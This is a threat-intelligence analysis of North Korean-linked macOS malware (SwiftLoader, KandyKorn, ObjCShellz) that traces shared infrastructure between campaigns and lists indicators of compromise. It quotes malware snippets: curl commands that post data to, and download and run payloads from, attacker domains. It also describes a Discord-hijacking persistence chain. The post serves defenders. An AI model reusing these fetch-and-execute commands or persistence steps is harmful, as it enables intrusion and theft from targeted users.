North Korean-aligned threat actors targeting macOS have had a busy 2023, with two major campaigns noted so far: RustBucket and KandyKorn. The initial RustBucket campaign used a second-stage malware, dubbed ‘SwiftLoader’, which functioned externally as a PDF Viewer for a lure document sent to targets. While victims viewed the lure, SwiftLoader retrieved and executed a further stage malware written in Rust. The KandyKorn campaign, meanwhile, was an elaborate multi-stage operation targeting blockchain engineers of a crypto exchange platform. Python scripts were used to drop malware that hijacked the host’s installed Discord app, and subsequently delivered a backdoor RAT written in C++ dubbed ‘KandyKorn’.

Our analysis of further activity in these campaigns suggests that DPRK threat actors are now ‘mixing and matching’ components from these operations, with SwiftLoader droppers being used to deliver KandyKorn payloads. In this post, we provide an extensive review of this activity and provide further indicators to help security teams defend their organizations.

Overview of KandyKorn

Research by Elastic published in early November 2023 described a sophisticated intrusion by DPRK-aligned threat actors. The compromise involved a five-stage attack that began with social engineering via Discord to trick targets into downloading a malicious Python application disguised as a cryptocurrency arbitrage bot, a popular tool among crypto traders. The Python application was distributed as Cross-Platform Bridges.zip and contained multiple benign Python scripts. We summarize the previous research into KandyKorn as follows:

Stage 0

A Discord user is socially engineered into downloading a malicious Python application, Cross-Platform Bridges.zip. Initially, links to the malware were sent to targets via direct message with the malware hosted on Google drive.

https[:]//drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2

The application’s Main.py script imports the included Watcher.py file as a module.

Stage 1

Watcher.py checks the local Python version and downloads and executes testSpeed.py. The script downloads and executes another Python script, FinderTools. The former is deleted after execution while the latter is written to /Users/Shared/FinderTools.

Stage 2

FinderTools downloads and executes a Mach-O binary, dubbed SUGARLOADER, at /Users/Shared/.sld. The same file is also copied twice as .log and as appname, both within the Discord application’s hierarchy at /Applications/Discord.app/Contents/MacOS/.

Written in C++, SUGARLOADER checks for the existence of a configuration file at /Library/Caches/com.apple.safari.ck and downloads it from a remote C2 if missing. The C2 address is hardcoded into the FinderTools script and passed as an execution argument to the SUGARLOADER binary on the command line.

In the intrusion seen by Elastic, the C2 used by FinderTools was hosted on the domain tp.globa.xyz.

tp-globa.xyz/OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC

Stage 3

SUGARLOADER also downloads a Mach-O payload dubbed HLOADER and writes it to /Applications/Discord.app/Contents/MacOS/Discord. The genuine Discord executable is renamed as .lock in the same directory.

After this replacement, when Discord is launched, HLOADER renames itself to MacOS.tmp, renames the .lock file back to Discord, and executes both the genuine Discord binary and the SUGARLOADER executable saved as .log. This causes the entire renaming/reloading process to repeat.

On the assumption that the victim is likely to launch Discord frequently, the purpose of HLOADER is to provide a persistence mechanism that will not be detected by Apple’s monitoring of background login items.

Stage 4

SUGARLOADER retrieves a C2 URL from the configuration file previously stored at com.apple.safari.ck. In the observed intrusion, this was 23.254.226[.]90, communicating over TCP port 44.

SUGARLOADER uses this to retrieve and execute the KANDYKORN remote access trojan in-memory via NSCreateObjectFileImageFromMemory and NSLinkModule. This technique has been used previously in North Korean macOS malware, starting with UnionCryptoTrader back in 2019.

Building off Elastic’s research, we identified a number of other versions of KANDYKORN RAT, with the following SHA1s:

Interesting among these is 26ec4630b4d1116e131c8e2002e9a3ec7494a5cf, which is written to /Users/Shared/.pld, a point we will return to below.

Recent RustBucket activity

In what at first sight appears to be an entirely different campaign, North Korean threat actors have an ongoing and evolving campaign first disclosed by JAMF dubbed RustBucket. This campaign initially involved a first stage AppleScript applet and a Swift-based application bundle called ‘Internal PDF Viewer.app’, which used specially crafted PDFs to unlock code for downloading a Rust-based payload.

#Lazarus #APT
Looks like the target is Apple developers.

8a8de435d71cb0b0ae6d4b15d58b7c85ce3ef8f06b24266c52b2bc49217be257https://t.co/aXVCAFpVP4

— 2ero (@BaoshengbinCumt) November 10, 2023

A number of RustBucket variants have since been sighted. Additionaly, several variations of the Swift-based stager, collectively dubbed SwiftLoader, have come to light over the last few months.

While some of these continued to be distributed with the name “InternalPDF Viewer”, in June researchers spotted a variant called SecurePDF Viewer.app. This application was signed and notarized by Apple (since revoked) by a developer with the name “BBQ BAZAAR PRIVATE LIMITED (7L2UQTVP6F)”. SecurePDF Viewer.app requires at least macOS 12.6 (Monterey), and has the bundle identifier com.softwaredev.swift-ui-test. It is capable of running on both Intel and Apple silicon devices.

The main executable uses curl to reach out to docs-send.online/getBalance/usdt/ethereum. This retrieves a file called /gatewindow/1027/shared/ (c806c7006950dea6c20d3d2800fe46d9350266b6), an AppleScript script that when executed posts the filepath of the executing process to a remote server hosted on swissborg.blog.

set sdf to (POSIX path of (path to me))
set aaas to do shell script "curl -H \"Content-Type:application/json\" -d '{\"zip\":\""
"\"}' https[:]//swissborg[.]blog/tx/10299301992/hash"
--display dialog aaas
run script aaas
--display dialog "Can 't open this file. The file maybe damaged."

Connection to ObjCShellz

The swissborg.blog domain contacted by SecurePDF Viewer was previously mentioned by JAMF in an article in early November.

JAMF researchers described what appeared to them as a late stage RustBucket payload distributed as a Mach-O binary called ProcessRequest. The researchers dubbed the malware ObjCShellz, in light of the fact that the code was written in Objective-C and functions to execute simple shell commands from a remote C2 via the system() function invoking sh -c.

Our research shows that ObjCShellz is highly likely a later stage of the SwiftLoader SecurePDF Viewer.app.

SwiftLoader Connection to KandyKorn RAT

Other versions of SwiftLoader have been spotted in the wild, including one distributed in a lure called Crypto-assets and their risks for financial stability[.]app[.]zip.

This looks like #Bluenoroff activity
Crypto-assets and their risks for financial stability[.]app[.]ziphttps://t.co/jzuXP1YiQ6
Communicating with on-global[.]xyz (142[.]11[.]209[.]144)

— KSE (@KSeznec) October 26, 2023

This application is also signed and notarized by Apple (since revoked) by a developer with the name “Northwest Tech-Con Systems Ltd (2C4CB2P247)”. The bundle identifier is com.EdoneViewer and the app’s main executable is EdoneViewer.

There are some interesting overlaps between this version of SwiftLoader and the KandyKorn operation.

Our analysis of EdoneViewer shows it contains a hardcoded URL encoded with a single-byte XOR key of Ox40.

Once decoded, we can see the malware reaches out to the domain on-global.xyz and drops a hidden executable at /Users/Shared/.pw.

D%3D", "http[:]//on-global[.]xyz/Of56cYsfVV8/OJITWH2WFx/Jy5S7hSx0K/fP7saoiPBc/A%3D%3D", 
"/users/shared/Crypto-assets and their risks for financial stability.pdf", "/users/shared/.pw"}
do shell script "curl -o \"" & p & "\" " & d & a & "&& open \"" & p & "\"" & "&& 
curl -o " & b & " " & s & a & " -d pw" & "&& chmod 770 " & b & "&& 
/bin/zsh -c \"" & b & " " & s & " &\" &> /dev/null"

We note that the KandyKorn Python script FinderTools reached out for its next stage to malware hosted on the domain tp.globa.xyz and that SUGARLOADER dropped hidden files at /Users/Shared/.sld.

The .pw executable, named download.bin on VirusTotal (060a5d189ccf3fc32a758f1e218f814f6ce81744), takes the URL hardcoded in the EdoneViewer binary as a launch argument. Unfortunately, the C2 did not respond with a download on our test, but the file contains a hardcoded reference to /Users/Shared/.pld for the download path.

Recall that we discovered a variant of KANDYKORN RAT with the same file name .pld above (26ec4630b4d1116e131c8e2002e9a3ec7494a5cf). We assess with medium confidence that /Users/Shared/.pld refers to the same .pld KandyKorn RAT given the overlaps in infrastructure, objectives and TTPs noted here and by previously mentioned researchers.

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Conclusion

Our analysis has established new connections between previous research findings. We note specific shared infrastructure that indicates a link between ObjCShellz payloads and SwiftLoader stagers. We also provide the first clues that RustBucket droppers and KandyKorn payloads are likely being shared as part of the same infection chain.

Our analysis corroborates findings from other researchers that North Korean-linked threat actors’ tendency to reuse shared infrastrucutre affords us the opportunity to widen our understanding of their activity and discover fresh indicators of compromise. Below we provide a list of indicators we observed and analyzed in this research.

Indicators of Compromise

SUGARLOADER
d28830d87fc71091f003818ef08ff0b723b3f358

HLOADER
43f987c15ae67b1183c4c442dc3b784faf2df090

KANDYKORN RAT
26ec4630b4d1116e131c8e2002e9a3ec7494a5cf
46ac6dc34fc164525e6f7886c8ed5a79654f3fd3
62267b88fa6393bc1f1eeb778e4da6b564b7011e
8d5d214c490eae8f61325839fcc17277e514301e
8f6c52d7e82fbfdead3d66ad8c52b372cc9e8b18
9f97edbc1454ef66d6095f979502d17067215a9d
ac336c5082c2606ab8c3fb023949dfc0db2064d5
c45f514a252632cb3851fe45bed34b175370d594
ce3705baf097cd95f8f696f330372dd00996d29a
e244ff1d8e66558a443610200476f98f653b8519
e68bfa72a4b4289a4cc688e81f9282b1f78ebc1f
e77270ac0ea05496dd5a2fbccba3e24eb9b863d9

ObjCShell
79337ccda23c67f8cfd9f43a6d3cf05fd01d1588

SecurePDF Viewer
a1a8a855f64a6b530f5116a3785a693d78ec09c0
e275deb68cdff336cb4175819a09dbaf0e1b68f6

Crypto-assets and their risks for financial stability.app
09ade0cb777f4a4e0682309a4bc1d0f7d4d7a036
5c93052713f317431bf232a2894658a3a4ebfad9
884cebf1ad0e65f4da60c04bc31f62f796f90d79
be903ded39cbc8332cefd9ebbe7a66d95e9d6522

Downloader
060a5d189ccf3fc32a758f1e218f814f6ce81744

Remotely-hosted AppleScript
3c887ece654ea46b1778d3c7a8a6a7c7c7cfa61c
c806c7006950dea6c20d3d2800fe46d9350266b6

Network Communications

http[:]//docs-send.online/getBalance/usdt/ethereum
https[:]//drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2
http[:]//on-global[.]xyz/Of56cYsfVV8/OJITWH2WFx/Jy5S7hSx0K/fP7saoiPBc/A%3D%3D
http[:]//tp-globa[.]xyz/OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC
http[:]//swissborg[.]blog/zxcv/bnm

23.254.226[.]90
104.168.214[.]151
142.11.209[.]144
192.119.64[.]43

File paths

/Applications/Discord.app/Contents/MacOS/.log
/Applications/Discord.app/Contents/MacOS/appname
/Library/Caches/com.apple.safari.ck
/tmp/tempXXXXXX
/Users/Shared/.pld
/Users/Shared/.pw
/Users/Shared/.sld